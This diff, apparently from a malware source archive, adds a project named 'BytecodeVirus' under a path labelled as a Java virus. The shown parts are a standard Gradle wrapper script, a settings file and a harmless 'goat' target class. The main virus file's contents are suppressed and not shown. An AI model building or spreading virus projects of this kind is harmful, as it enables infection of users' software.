if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%" == "" set DIRNAME=.
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if "%ERRORLEVEL%" == "0" goto init
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto init
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:init
|
||||
@rem Get command-line arguments, handling Windows variants
|
||||
|
||||
if not "%OS%" == "Windows_NT" goto win9xME_args
|
||||
|
||||
:win9xME_args
|
||||
@rem Slurp the command line arguments.
|
||||
set CMD_LINE_ARGS=
|
||||
set _SKIP=2
|
||||
|
||||
:win9xME_args_slurp
|
||||
if "x%~1" == "x" goto execute
|
||||
|
||||
set CMD_LINE_ARGS=%*
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||
exit /b 1
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
1
Java/Virus.Java.Cheshire.a/settings.gradle
Normal file
1
Java/Virus.Java.Cheshire.a/settings.gradle
Normal file
@ -0,0 +1 @@
|
||||
rootProject.name = 'BytecodeVirus'
|
5
Java/Virus.Java.Cheshire.a/src/main/java/Goat.java
Normal file
5
Java/Virus.Java.Cheshire.a/src/main/java/Goat.java
Normal file
@ -0,0 +1,5 @@
|
||||
public class Goat {
|
||||
public static void main(String[] args){
|
||||
System.out.println("Hi! Any code can be running here!");
|
||||
}
|
||||
}
|
1516
Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java
Normal file
1516
Java/Virus.Java.Cheshire.a/src/main/java/SelfExamine.java
Normal file
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue
Block a user